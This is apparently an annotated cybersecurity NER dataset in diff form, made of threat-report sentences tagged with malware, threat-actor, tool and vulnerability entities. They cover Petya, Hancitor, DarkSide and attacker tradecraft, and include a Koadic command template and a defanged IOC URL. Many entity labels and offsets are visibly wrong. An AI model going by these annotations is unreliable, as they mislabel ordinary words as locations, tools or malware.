+{"id":306,"text":"As the report indicates, using RDP this way also allows the attackers to \u201cfly under the radar\u201d as RDP is commonly used by administrators and often not treated as a threat.","entities":[{"id":44690,"label":"tools","start_offset":98,"end_offset":101},{"id":44691,"label":"tools","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]}
+{"id":899,"text":"This information is stored in the \u2018\\BData\\B\u2019 registry key as previously stated.","entities":[{"id":46428,"label":"REGISTRYKEY","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
+{"id":4570,"text":"Ghostwriter\/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users.","entities":[{"id":50408,"label":"threat-actor","start_offset":12,"end_offset":19},{"id":50407,"label":"threat-actor","start_offset":0,"end_offset":11},{"id":50409,"label":"location","start_offset":50,"end_offset":57},{"id":50410,"label":"location","start_offset":138,"end_offset":144}],"relations":[{"id":962,"from_id":50408,"to_id":50407,"type":"duplicate-of"},{"id":963,"from_id":50407,"to_id":50409,"type":"attributed-to"},{"id":964,"from_id":50408,"to_id":50409,"type":"attributed-to"},{"id":965,"from_id":50408,"to_id":50410,"type":"targets"},{"id":966,"from_id":50407,"to_id":50410,"type":"targets"}],"Comments":[]}
+{"id":5447,"text":" As more people move to mobile banking, we believe attackers will focus their attacks away from PC banking and towards mobile banking.","entities":[],"relations":[],"Comments":[]}
+{"id":3809,"text":" Figure 5. Exploitation of Link Auto Update","entities":[],"relations":[],"Comments":[]}
+{"id":4891,"text":"While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.","entities":[{"id":50909,"label":"attack-pattern","start_offset":226,"end_offset":244}],"relations":[],"Comments":[]}
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+{"id":7598,"text":"It will extract the following files (Figure 12) and execute exit.exe, where the said executable is also a launcher of i.cmd that registers winserv.exe (the actual RMS RAT) and executes it.","entities":[{"id":23672,"label":"location","start_offset":3,"end_offset":7},{"id":23674,"label":"location","start_offset":48,"end_offset":51},{"id":23675,"label":"malware","start_offset":163,"end_offset":166},{"id":23676,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
+{"id":2833,"text":"As of this writing attacks appear to have subsided.","entities":[],"relations":[],"Comments":[]}
+{"id":9683,"text":"Parser::inByte method","entities":[],"relations":[],"Comments":[]}
+{"id":3157,"text":"This new feature is triggered by detection of known malicious signatures across the cloud network.","entities":[],"relations":[],"Comments":[]}
+{"id":13249,"text":"Malicious document used by Tropic Trooper PDB Strings as Context Clues","entities":[{"id":41306,"label":"threat-actor","start_offset":27,"end_offset":41}],"relations":[],"Comments":[]}
+{"id":10130,"text":"Pawn Storm\u2019s modus operandi is quite consistent over the years, with some of their technical tricks being used repeatedly.","entities":[],"relations":[],"Comments":[]}
+{"id":3812,"text":"Koadic executes the following command:  %comspec% \/q \/c <cmd> 1> <Output> 2>&1  ","entities":[{"id":49684,"label":"malware","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
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+{"id":12238,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
+{"id":18,"text":" The most surprising fact about this campaign is that almost all the IOCs haven\u2019t been changed:  For those still using legacy solutions we\u2019ve attached two lists of SHA256 hashes in a text file format for reference.","entities":[],"relations":[],"Comments":[]}
+{"id":856,"text":" Perhaps more importantly, it\u2019s a piece of those attacks that has escaped relative notice outside of some specialized parts of the research community.","entities":[],"relations":[],"Comments":[]}
+{"id":1556,"text":" With the public awareness of this particular decoy, it is highly likely that the Sofacy group will shift their attacks to spoof emails from a different organization to continue carrying out these attacks.","entities":[{"id":46827,"label":"threat-actor","start_offset":82,"end_offset":94}],"relations":[],"Comments":[]}
+{"id":2469,"text":" A majority of the packets we analyzed showed the webshell contents did not differ far from the webshell seen in the original proof-of-concept script, which can be seen in Figure 14.","entities":[],"relations":[],"Comments":[]}
+{"id":10497,"text":"We remain committed to updating the community as we uncover these campaigns.","entities":[{"id":31915,"label":"location","start_offset":36,"end_offset":45},{"id":31916,"label":"tools","start_offset":52,"end_offset":59}],"relations":[],"Comments":[]}
+{"id":4898,"text":"To date, we\u2019ve identified at least 1,011 domains created solely for this purpose.","entities":[],"relations":[],"Comments":[]}
+{"id":929,"text":"Like most things in life, malware comes in many shapes and forms, from the more elegant and robust solutions, to those that come up lacking.","entities":[],"relations":[],"Comments":[]}
+{"id":3986,"text":"These threats affect all users of the tampered software, resulting in major consequences for government, critical infrastructure, and private sector software consumers.","entities":[],"relations":[],"Comments":[]}
+{"id":3338,"text":"1.      We discovered that many BIOPASS RAT loader binaries were signed with two valid certificates.","entities":[{"id":48946,"label":"malware","start_offset":32,"end_offset":43}],"relations":[],"Comments":[]}
+{"id":9183,"text":"This should be especially enforced for HTTP and HTTPS protocols that cybercriminals frequently leverage for their attacks.","entities":[{"id":28339,"label":"location","start_offset":44,"end_offset":47},{"id":28340,"label":"malware","start_offset":95,"end_offset":103}],"relations":[],"Comments":[]}
+{"id":3226,"text":"The purpose of the HTTP service is to act as a marker for an infected machine to avoid repeated infection, as aforementioned in the infection chain section.","entities":[],"relations":[],"Comments":[]}
+{"id":1612,"text":"Baja autom\u00e1tica para cancelar el servicio: env\u00eda BAJA al 797977.","entities":[],"relations":[],"Comments":[]}
+{"id":2962,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
+{"id":2920,"text":"We said that if cryptocurrency values continue to remain high, we could expect to see attackers continue to focus on finding ways to carry out attacks to gain cryptocurrency, and that those attacks would continue to adapt proven attack techniques.","entities":[],"relations":[],"Comments":[]}
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+{"id":436,"text":" Unauthorized coin mining attacks happen very simply: the website the user is visiting has special code on it that performs coin mining operations on the visitor\u2019s computer while they\u2019re on the website.","entities":[{"id":46120,"label":"attack-pattern","start_offset":1,"end_offset":33}],"relations":[],"Comments":[]}
+{"id":704,"text":"We have not had a significant cyber event like this \u2013 something that affects just about everybody on the Internet -- since the Kaminsky DNS vulnerability of 2008.","entities":[{"id":46276,"label":"vulnerability","start_offset":127,"end_offset":153},{"id":46275,"label":"TIME","start_offset":157,"end_offset":161}],"relations":[],"Comments":[]}
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+{"id":1854,"text":"We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network.","entities":[{"id":45150,"label":"vulnerability","start_offset":60,"end_offset":69},{"id":45149,"label":"tools","start_offset":35,"end_offset":39},{"id":45152,"label":"vulnerability","start_offset":75,"end_offset":109},{"id":45153,"label":"vulnerability","start_offset":124,"end_offset":138}],"relations":[],"Comments":[]}
+{"id":2460,"text":"Table 2 shows the top 15 IP addresses seen as the source that triggered our signature, which accounts for just over 50% of all of the activity we observed.","entities":[],"relations":[],"Comments":[]}
+{"id":2538,"text":" Unfortunately, keeping Conti out of your network often isn\u2019t simple.","entities":[{"id":45565,"label":"threat-actor","start_offset":24,"end_offset":29}],"relations":[],"Comments":[]}
+{"id":5324,"text":"This function performs all of the aforementioned encryption steps, including the random AES key and IV generation.","entities":[],"relations":[],"Comments":[]}
+{"id":236,"text":"In particular, we noticed a sharp increase in the number of cybersquatting domains that were registered close to Feb. 24, as shown in Figure 10 below.","entities":[{"id":45937,"label":"attack-pattern","start_offset":60,"end_offset":74},{"id":45938,"label":"TIME","start_offset":113,"end_offset":120}],"relations":[],"Comments":[]}
+{"id":13200,"text":"The backdoor\u2019s communication traffic  ","entities":[],"relations":[],"Comments":[]}
+{"id":1623,"text":"Of course, premium SMS services require that the user confirm that they want to sign up by sending incoming SMS message containing a PIN.","entities":[],"relations":[],"Comments":[]}
+{"id":696,"text":"While document-based attacks have been a common attack vector for over a decade, we\u2019re seeing a recent rise in their popularity and complexity.","entities":[],"relations":[],"Comments":[]}
+{"id":11707,"text":"     Figure 13. Build from Metasploit and Request Permissions     We also identified a malicious version of the My First APP application that added Metasploit whose class names have been obfuscated.","entities":[{"id":36084,"label":"malware","start_offset":27,"end_offset":37},{"id":36085,"label":"location","start_offset":38,"end_offset":41},{"id":36087,"label":"malware","start_offset":148,"end_offset":158}],"relations":[],"Comments":[]}
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+{"id":2457,"text":"Figure 12 shows the steady increase of total hits from March 31 until April 3, a fairly significant decrease on April 4, followed by an incline in activity on April 5 and 6.","entities":[{"id":45527,"label":"TIME","start_offset":55,"end_offset":63},{"id":45528,"label":"TIME","start_offset":70,"end_offset":77},{"id":45529,"label":"TIME","start_offset":112,"end_offset":119},{"id":45530,"label":"TIME","start_offset":159,"end_offset":172}],"relations":[],"Comments":[]}
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+{"id":1077,"text":"This means that it\u2019s critical for all Android users on versions before 8.0 to get updates for their devices.","entities":[{"id":46560,"label":"SOFTWARE","start_offset":38,"end_offset":45}],"relations":[],"Comments":[]}
+{"id":13053,"text":"A grand jury in California's Santa Clara County has indicted Thomas Moyer, Apple's head of global security, for bribery.","entities":[{"id":48887,"label":"identity","start_offset":61,"end_offset":73},{"id":48885,"label":"identity","start_offset":2,"end_offset":12},{"id":48886,"label":"location","start_offset":16,"end_offset":47}],"relations":[],"Comments":[]}
+{"id":13403,"text":" We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.","entities":[{"id":41719,"label":"location","start_offset":144,"end_offset":148},{"id":41721,"label":"location","start_offset":236,"end_offset":239},{"id":41722,"label":"threat-actor","start_offset":262,"end_offset":270}],"relations":[],"Comments":[]}
+{"id":1555,"text":"There are several things that you can do to help protect against these latest Sofacy attacks and others like it.","entities":[{"id":46826,"label":"threat-actor","start_offset":78,"end_offset":84}],"relations":[],"Comments":[]}
+{"id":7682,"text":".ISO, enabled macros for entry dropping ServHelper or FlawedAmmyy","entities":[{"id":23899,"label":"malware","start_offset":40,"end_offset":50},{"id":23900,"label":"malware","start_offset":54,"end_offset":65}],"relations":[],"Comments":[]}
+{"id":2177,"text":" Additionally, all encountered URLs have been flagged as malware within PAN-DB, the Advanced URL Filtering URL database.","entities":[],"relations":[],"Comments":[]}
+{"id":2647,"text":" Unlike other RaaS programs that don't require the affiliates to be super technical or savvy, LockBit 2.0 operators allegedly only work with experienced penetration testers, especially those experienced with tools like Metasploit and Cobalt Strike.","entities":[{"id":47837,"label":"tools","start_offset":219,"end_offset":229},{"id":47838,"label":"tools","start_offset":234,"end_offset":247},{"id":47836,"label":"threat-actor","start_offset":94,"end_offset":105}],"relations":[],"Comments":[]}
+{"id":1558,"text":"Therefore, these suggested actions can protect not just against these known attacks but others like it.","entities":[],"relations":[],"Comments":[]}
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+{"id":14236,"text":"Nearly all the other algorithms used in this GitHub campaign are derived from the original PlugX algorithm:  PlugX style + shift string + Base64 PlugX style + shift string + Base64 + XOR PlugX style + Base64 + XOR  One algorithm is also built in mark strings + shift string + Base64 encoding.","entities":[{"id":48424,"label":"SOFTWARE","start_offset":45,"end_offset":52},{"id":48422,"label":"malware","start_offset":91,"end_offset":97},{"id":48423,"label":"malware","start_offset":109,"end_offset":115}],"relations":[],"Comments":[]}
+{"id":13031,"text":"While TAG has previously observed this technique being used by multiple government-backed actors, the media picked up on this blog post, publishing several stories highlighting this phishing capability.","entities":[{"id":48873,"label":"identity","start_offset":6,"end_offset":10},{"id":48874,"label":"attack-pattern","start_offset":182,"end_offset":191}],"relations":[],"Comments":[]}
+{"id":5138,"text":"[03:23] Let me give you a little easier to digest analogy.","entities":[],"relations":[],"Comments":[]}
+{"id":13847,"text":"  Dynamically loads the APIs through the shellcode Persistence","entities":[],"relations":[],"Comments":[]}
+{"id":9985,"text":"The 9002 RAT also serves as a springboard for delivering additional malware.","entities":[],"relations":[],"Comments":[]}
+{"id":3721,"text":"They also employ standard non-application layer protocols for communication.","entities":[],"relations":[],"Comments":[]}
+{"id":2765,"text":" Fortunately, not every system is remotely exploitable simply because it\u2019s running Bash, it also needs to be running an application which makes Bash accessible over the network.","entities":[{"id":47998,"label":"tools","start_offset":144,"end_offset":148},{"id":47997,"label":"tools","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]}
+{"id":694,"text":", this flaw can be used to leverage other vulnerabilities, such as a memory corruption UAF vulnerability in the VBScript engine, to gain arbitrary code execution in the context of the Word application (winword.exe), allowing them to gain control on the system.","entities":[{"id":46272,"label":"FILEPATH","start_offset":202,"end_offset":213},{"id":46273,"label":"SOFTWARE","start_offset":112,"end_offset":127},{"id":46274,"label":"SOFTWARE","start_offset":184,"end_offset":200}],"relations":[],"Comments":[]}
+{"id":13246,"text":"Tropic Trooper uses exploit-laden Microsoft Office documents to deliver malware to targets.","entities":[],"relations":[],"Comments":[]}
+{"id":5039,"text":"Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.","entities":[{"id":51120,"label":"identity","start_offset":20,"end_offset":23},{"id":51122,"label":"identity","start_offset":129,"end_offset":154},{"id":51121,"label":"identity","start_offset":77,"end_offset":122}],"relations":[],"Comments":[]}
+{"id":7517,"text":"Character \u201c{\u201d = 0x7B =123.","entities":[],"relations":[],"Comments":[]}
+{"id":2036,"text":"This payload is encrypted using the WinCrypt API, in the same fashion as the obfuscated loader discussed above.","entities":[],"relations":[],"Comments":[]}
+{"id":3170,"text":"Closer examination of the loader shows that it loads either a Cobalt Strike shellcode or a previously undocumented backdoor written in Python, a new type of malware that we found to be named BIOPASS RAT (remote access trojan).","entities":[{"id":48293,"label":"tools","start_offset":62,"end_offset":75},{"id":48294,"label":"SOFTWARE","start_offset":135,"end_offset":141},{"id":48292,"label":"malware","start_offset":191,"end_offset":202}],"relations":[],"Comments":[]}
+{"id":1700,"text":"You wake up on Monday morning and the domains your carefully built malware uses for command and control are shut down.","entities":[],"relations":[],"Comments":[]}
+{"id":10046,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
+{"id":4364,"text":"Red flags such as unusual sender domains or grammatical and spelling errors are also a sign that the email is malicious in nature, or at the very least, should be approached with proper security protocols in mind.","entities":[],"relations":[],"Comments":[]}
+{"id":13774,"text":"The purpose of this is to further avoid being detected by a certain cybersecurity solution.","entities":[],"relations":[],"Comments":[]}
+{"id":13886,"text":"DarkSide releases version 2.0 of its ransomware with several updates.","entities":[],"relations":[],"Comments":[]}
+{"id":3967,"text":"Implement strong passwords.","entities":[],"relations":[],"Comments":[]}
+{"id":954,"text":"This is the URL to which the software uploads SMS messages, and the IP address belongs to the Taomike API server used by other Taomike services.","entities":[{"id":46462,"label":"identity","start_offset":127,"end_offset":134},{"id":44911,"label":"Infrastucture","start_offset":94,"end_offset":112}],"relations":[],"Comments":[]}
+{"id":14158,"text":"This would allow an organization to get visibility into the entire attack lifecycle, including infiltration, lateral movement, and exfiltration.","entities":[],"relations":[],"Comments":[]}
+{"id":7982,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[{"id":24745,"label":"location","start_offset":52,"end_offset":56},{"id":24746,"label":"attack-pattern","start_offset":66,"end_offset":74},{"id":24747,"label":"location","start_offset":75,"end_offset":79},{"id":24750,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
+{"id":4059,"text":"Then, it will keep running on the hosts and wait for further commands from the C&C server.","entities":[],"relations":[],"Comments":[]}
+{"id":7722,"text":"Infection chains for ServHelper installation with .NET downloader","entities":[{"id":23988,"label":"malware","start_offset":21,"end_offset":31}],"relations":[],"Comments":[]}
+{"id":13509,"text":"Organizations that have access to a large amount of private information are also frequent victims of the group.","entities":[],"relations":[],"Comments":[]}
+{"id":975,"text":"The rest appear to be used for other parts of the IAP functionality in the library.","entities":[],"relations":[],"Comments":[]}
+{"id":9525,"text":"This malware family sends a DWORD, a 32-bit unsigned integer, in the HELLO packet.","entities":[],"relations":[],"Comments":[]}
+{"id":3012,"text":" 9. Configure User Profiles for Voice Assistants:","entities":[],"relations":[],"Comments":[]}
+{"id":13903,"text":" For exfiltration, we saw the following tools being used:   7-Zip: a utility used for archiving files in preparation for exfiltration  Rclone and Mega client: tools used for exfiltrating files to cloud storage PuTTy: an alternative application used for network file transfer  DarkSide uses several Tor-based leak sites to host stolen data.","entities":[{"id":48714,"label":"SOFTWARE","start_offset":60,"end_offset":65},{"id":48716,"label":"SOFTWARE","start_offset":146,"end_offset":157},{"id":48718,"label":"tools","start_offset":298,"end_offset":301},{"id":48715,"label":"SOFTWARE","start_offset":135,"end_offset":142},{"id":48717,"label":"SOFTWARE","start_offset":210,"end_offset":215},{"id":48719,"label":"malware","start_offset":276,"end_offset":285}],"relations":[],"Comments":[]}
+{"id":1974,"text":"Figure 3, below, shows a packet crafted to display a \u201cCookie Length\u201d of 32 (32 is equivalent to 0x20 in hexadecimal), which does not match the actual amount of data in the cookie (shown containing only two 0x41 characters).","entities":[],"relations":[],"Comments":[]}
+{"id":7492,"text":"The path to the VBS script is added to the task scheduler as a form of persistence.","entities":[],"relations":[],"Comments":[]}
+{"id":1617,"text":"Any user who reads this message and understands it is unlikely to agree, but Funtasy does not even wait for their agreement.","entities":[{"id":46847,"label":"malware","start_offset":77,"end_offset":84}],"relations":[],"Comments":[]}
+{"id":13519,"text":"Practice good security hygiene by deleting old emails and messages to minimize the chances of an attacker gaining access to private information.","entities":[],"relations":[],"Comments":[]}
+{"id":395,"text":"  In this case, the process tomcat.exe spawned multiple reconnaissance commands such as: whoami, systeminfo, arp, ipconfig, etc.  On top of that, a Base64-encoded PowerShell command was executed and retrieved a ransomware binary.","entities":[{"id":46091,"label":"tools","start_offset":97,"end_offset":107},{"id":46092,"label":"tools","start_offset":109,"end_offset":113},{"id":46094,"label":"attack-pattern","start_offset":148,"end_offset":181},{"id":46089,"label":"FILEPATH","start_offset":28,"end_offset":38},{"id":46090,"label":"tools","start_offset":89,"end_offset":95},{"id":46093,"label":"tools","start_offset":114,"end_offset":122}],"relations":[],"Comments":[]}
+{"id":12438,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.","entities":[],"relations":[],"Comments":[]}
+{"id":12443,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
+{"id":4185,"text":"  MITRE ATT&CK Matrix  Tactics ID Technique Initial access T1190","entities":[{"id":49985,"label":"identity","start_offset":2,"end_offset":8},{"id":49986,"label":"attack-pattern","start_offset":44,"end_offset":64}],"relations":[],"Comments":[]}
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+{"id":14168,"text":"Stay tuned for more information about this topic in upcoming blogs.","entities":[],"relations":[],"Comments":[]}
+{"id":11057,"text":"We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
+{"id":3873,"text":"Essentially, this involves creating a remediation plan for effectively combating the threat and using round-the-clock intrusion detection and threat analysis to prevent attacks from entering the system.","entities":[],"relations":[],"Comments":[]}
+{"id":2861,"text":" In this latest episode, Ryan goes back to the topic he talked about in his 2018 predictions piece \u201cThe Era of Software Supply-Chain Attacks Has Begun\u201d: Software Supply Chain attacks.  ","entities":[{"id":48062,"label":"identity","start_offset":25,"end_offset":29},{"id":48063,"label":"TIME","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
+{"id":14025,"text":"We found this type of OS language leak in prior samples attributed to APT37.","entities":[{"id":47190,"label":"threat-actor","start_offset":69,"end_offset":75}],"relations":[],"Comments":[]}
+{"id":10586,"text":"Last year, TAG discovered that a single threat actor was capitalizing on five zero-day vulnerabilities.","entities":[],"relations":[],"Comments":[]}
+{"id":1516,"text":"The file will connect to an IP and port configured from the configuration data and sends along information that includes the cpu and memory information.","entities":[],"relations":[],"Comments":[]}
+{"id":3191,"text":"The new page will show an error message with an accompanying instruction telling website visitors to download either a Flash installer or a Silverlight installer, both of which are malicious loaders.","entities":[{"id":48317,"label":"SOFTWARE","start_offset":140,"end_offset":151},{"id":48316,"label":"SOFTWARE","start_offset":119,"end_offset":124}],"relations":[],"Comments":[]}
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+{"id":1764,"text":"The most interesting aspect of this method is that it could bypass all existing mitigation techniques including DEP\/ASLR\/EMET, and it also defeats some academic methods such as Control Flow Integrity (CFI).","entities":[],"relations":[],"Comments":[]}
+{"id":3853,"text":"Once ANEL enters the user\u2019s system, it will download various tools that could be used for malicious purposes, including password retrieval tools as well as malicious mail services and accessibility tools that will allow it to gather information about the system.","entities":[{"id":49702,"label":"malware","start_offset":5,"end_offset":9}],"relations":[],"Comments":[]}
+{"id":9030,"text":"An example of a lure used in a RATANKBA attack can be seen below:  Figure 2. Malicious CHM file used as RATANKBA lure","entities":[{"id":27895,"label":"location","start_offset":16,"end_offset":20},{"id":27896,"label":"malware","start_offset":31,"end_offset":39},{"id":27897,"label":"location","start_offset":47,"end_offset":50},{"id":27899,"label":"malware","start_offset":104,"end_offset":112},{"id":27900,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":610,"text":" This means that a Hancitor attack now has two downloads rather than one and what these attackers did around the malicious downloads shows another modern business tactic: globalization.","entities":[{"id":46203,"label":"malware","start_offset":19,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":611,"text":" Globalizing the Attacks  Figure 3 below is a map showing where our Unit 42 researchers have found webistes involved in Hancitor attacks.","entities":[{"id":46204,"label":"malware","start_offset":120,"end_offset":128},{"id":46205,"label":"identity","start_offset":68,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":612,"text":" Figure 3: Hancitor distribution servers globally thus far in 2017  Table 1 – Number of Distribution Servers by Country  ","entities":[{"id":44799,"label":"malware","start_offset":11,"end_offset":19},{"id":44800,"label":"TIME","start_offset":62,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":613,"text":"The hot spots in the United States represents distribution servers which are created using fraud based accounts at various hosting providers that are hosting the Hancitor documents while the hotspots in Asia represent legitimate sites for small and medium businesses that have been compromised by the actors behind Hancitor campaign to host the malicious Hancitor documents.","entities":[{"id":46207,"label":"malware","start_offset":162,"end_offset":170},{"id":46208,"label":"location","start_offset":203,"end_offset":207},{"id":46206,"label":"location","start_offset":21,"end_offset":34},{"id":46210,"label":"campaign","start_offset":315,"end_offset":332},{"id":46211,"label":"malware","start_offset":355,"end_offset":363}],"relations":[{"id":168,"from_id":46207,"to_id":46206,"type":"targets"},{"id":169,"from_id":46207,"to_id":46208,"type":"targets"}],"Comments":[]}
-{"id":614,"text":" Conclusion  Attackers are always making business decisions to optimize their attacks in ways that are most successful and profitable.","entities":[],"relations":[],"Comments":[]}
-{"id":615,"text":"What is most interesting about Hancitor is the way these decisions so clearly reflect an awareness of business realities (by targeting peak working times) and dividing up the “work” of their attacks in a way that so clearly mirrors mainstream business decisions around globalizing operations.","entities":[{"id":45796,"label":"malware","start_offset":31,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":616,"text":" In the end, while Hancitor may not be sophisticated, these steps to adapt and stay effective seem to be succeeding.","entities":[{"id":46212,"label":"malware","start_offset":19,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":617,"text":"And we expect to continue to see Hancitor be a global threat for the foreseeable future.","entities":[{"id":46213,"label":"malware","start_offset":33,"end_offset":41}],"relations":[],"Comments":[]}
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-{"id":621,"text":"This post is also available in:      日本語 (Japanese)  This Unit 42 blog provides an update on the threat situation surrounding attacks using the Petya Ransomware which are impacting organizations in Ukraine, Russia and to a lesser extent around the world.","entities":[{"id":2073,"label":"identity","start_offset":58,"end_offset":65},{"id":2074,"label":"malware","start_offset":144,"end_offset":149},{"id":44803,"label":"malware","start_offset":144,"end_offset":160},{"id":44804,"label":"location","start_offset":198,"end_offset":205},{"id":44805,"label":"location","start_offset":207,"end_offset":213}],"relations":[{"id":27,"from_id":44803,"to_id":44805,"type":"targets"},{"id":26,"from_id":44803,"to_id":44804,"type":"targets"}],"Comments":[]}
-{"id":622,"text":" On June 27th, 2017 we became aware of a new variant of the Petya malware which is spreading through multiple lateral movement techniques.","entities":[{"id":2081,"label":"malware","start_offset":60,"end_offset":65},{"id":46214,"label":"TIME","start_offset":4,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":623,"text":"One technique includes  the ETERNALBLUE exploit tool.","entities":[{"id":2083,"label":"malware","start_offset":28,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":624,"text":"This is the same exploit the WanaCrypt0r\/WannaCry malware exploited to spread globally in May, 2017.","entities":[{"id":2086,"label":"malware","start_offset":29,"end_offset":40},{"id":2087,"label":"malware","start_offset":41,"end_offset":49},{"id":44808,"label":"TIME","start_offset":90,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":625,"text":"At least 50 organizations have reported impacts from the malware, including government and critical infrastructure operators.","entities":[],"relations":[],"Comments":[]}
-{"id":627,"text":" Palo Alto Networks is documenting our prevention capabilities with regard to this threat in the Palo Alto Networks Protections for Petya Ransomware blog post.","entities":[{"id":44809,"label":"identity","start_offset":1,"end_offset":19},{"id":44810,"label":"identity","start_offset":97,"end_offset":115},{"id":44811,"label":"malware","start_offset":132,"end_offset":148}],"relations":[],"Comments":[]}
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-{"id":629,"text":" This is a developing situation, we will update this blog as new information becomes available.","entities":[],"relations":[],"Comments":[]}
-{"id":630,"text":"AutoFocus users view samples using the Petya tag.","entities":[{"id":2102,"label":"malware","start_offset":39,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":631,"text":" Petya is a ransomware family that works by modifying the Window’s system’s Master Boot Record (MBR), causing the system to crash.","entities":[{"id":2103,"label":"malware","start_offset":1,"end_offset":6},{"id":46218,"label":"SOFTWARE","start_offset":58,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":632,"text":"When the user reboots their PC, the modified MBR prevents Windows from loading and displays a fake “chkdisk” screen which indicates the computer's hard drive is being repaired, but the malware is actually encrypting the user's files.","entities":[{"id":46220,"label":"SOFTWARE","start_offset":58,"end_offset":65},{"id":46219,"label":"SOFTWARE","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":633,"text":" When this process completes, the malware displays an ASCII Ransom note demanding payment from the victim (Figure 1).  Figure 1: Latest Petya Ransom note displayed on a compromised system.","entities":[{"id":2109,"label":"malware","start_offset":136,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":634,"text":" The latest version of the Petya ransomware is spreading over Windows SMB and is reportedly using the ETERNALBLUE exploit tool, which exploits CVE-2017-0144 and was originally released by the Shadow Brokers group in April 2017.","entities":[{"id":2111,"label":"malware","start_offset":27,"end_offset":32},{"id":2113,"label":"malware","start_offset":102,"end_offset":113},{"id":2116,"label":"threat-actor","start_offset":188,"end_offset":206},{"id":46221,"label":"SOFTWARE","start_offset":62,"end_offset":73},{"id":46222,"label":"vulnerability","start_offset":143,"end_offset":156},{"id":46223,"label":"TIME","start_offset":216,"end_offset":226}],"relations":[{"id":171,"from_id":2111,"to_id":46222,"type":"exploits"},{"id":170,"from_id":2111,"to_id":46221,"type":"targets"},{"id":172,"from_id":2116,"to_id":2113,"type":"authored-by"},{"id":173,"from_id":46222,"to_id":46221,"type":"targets"}],"Comments":[]}
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-{"id":638,"text":" Unit 42 is unaware of ANY successful recovery after paying the ransom.","entities":[{"id":2124,"label":"identity","start_offset":1,"end_offset":8},{"id":2125,"label":"location","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":639,"text":"Additionally, ongoing research by the industry is showing that specific actions this malware takes makes it technically infeasible, if not impossible, for recovery to occur.","entities":[],"relations":[],"Comments":[]}
-{"id":640,"text":" This means that even though this malware is functionally ransomware, for threat assessment purposes, it should be functionally considered a “wiper”.","entities":[],"relations":[],"Comments":[]}
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-{"id":643,"text":" We have not yet confirmed the initial infection vector for this new Petya variant.","entities":[{"id":2132,"label":"malware","start_offset":69,"end_offset":74}],"relations":[],"Comments":[]}
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+{"id":116,"text":"Understanding how these work and \u2013 more importantly \u2013 how to secure them can be very difficult.","entities":[],"relations":[],"Comments":[]}
+{"id":14057,"text":"Both use PowerShell scripts to download and run the samples.","entities":[{"id":43528,"label":"tools","start_offset":9,"end_offset":19}],"relations":[],"Comments":[]}
+{"id":4679,"text":"Data from Google Takeout is also available upon request, but the option was only found in early builds.","entities":[{"id":50575,"label":"SOFTWARE","start_offset":10,"end_offset":24}],"relations":[],"Comments":[]}
+{"id":4430,"text":"public void ManageTakeOut() { string text = \"PipeName\";","entities":[],"relations":[],"Comments":[]}
+{"id":1063,"text":"This is precisely the type of approach attackers use with ransomware attacks on mobile devices.","entities":[],"relations":[],"Comments":[]}
+{"id":10216,"text":"Our recommendations: Additional resources: Avoid & Report Phishing Emails.","entities":[{"id":31206,"label":"attack-pattern","start_offset":58,"end_offset":66}],"relations":[],"Comments":[]}
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+{"id":1781,"text":"If the length were suspicious, the detection module stops the malicious operation.","entities":[],"relations":[],"Comments":[]}
+{"id":13910,"text":" The following figure shows a sample ransom note from DarkSide.","entities":[],"relations":[],"Comments":[]}
+{"id":6797,"text":"The decrypted result is saved as \u201c%APPDATA%\\\\Microsoft\\Windows\\Cookies.exe\u201d (T1001)","entities":[],"relations":[],"Comments":[]}
+{"id":8877,"text":"However, a deeper investigation proved otherwise.","entities":[],"relations":[],"Comments":[]}
+{"id":14298,"text":"These buttons greeted users who clicked the Twitter short link of hxxp:\/\/miakhalifagame[.]com\/","entities":[{"id":48505,"label":"SOFTWARE","start_offset":44,"end_offset":52},{"id":48506,"label":"URL","start_offset":66,"end_offset":94}],"relations":[],"Comments":[]}
+{"id":10183,"text":"Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.","entities":[],"relations":[],"Comments":[]}
+{"id":993,"text":"Advertised uses for these accounts included registering for special accounts under software developer programs, receiving student discounts or coupons from retailers, and obtaining access to academic databases.","entities":[],"relations":[],"Comments":[]}
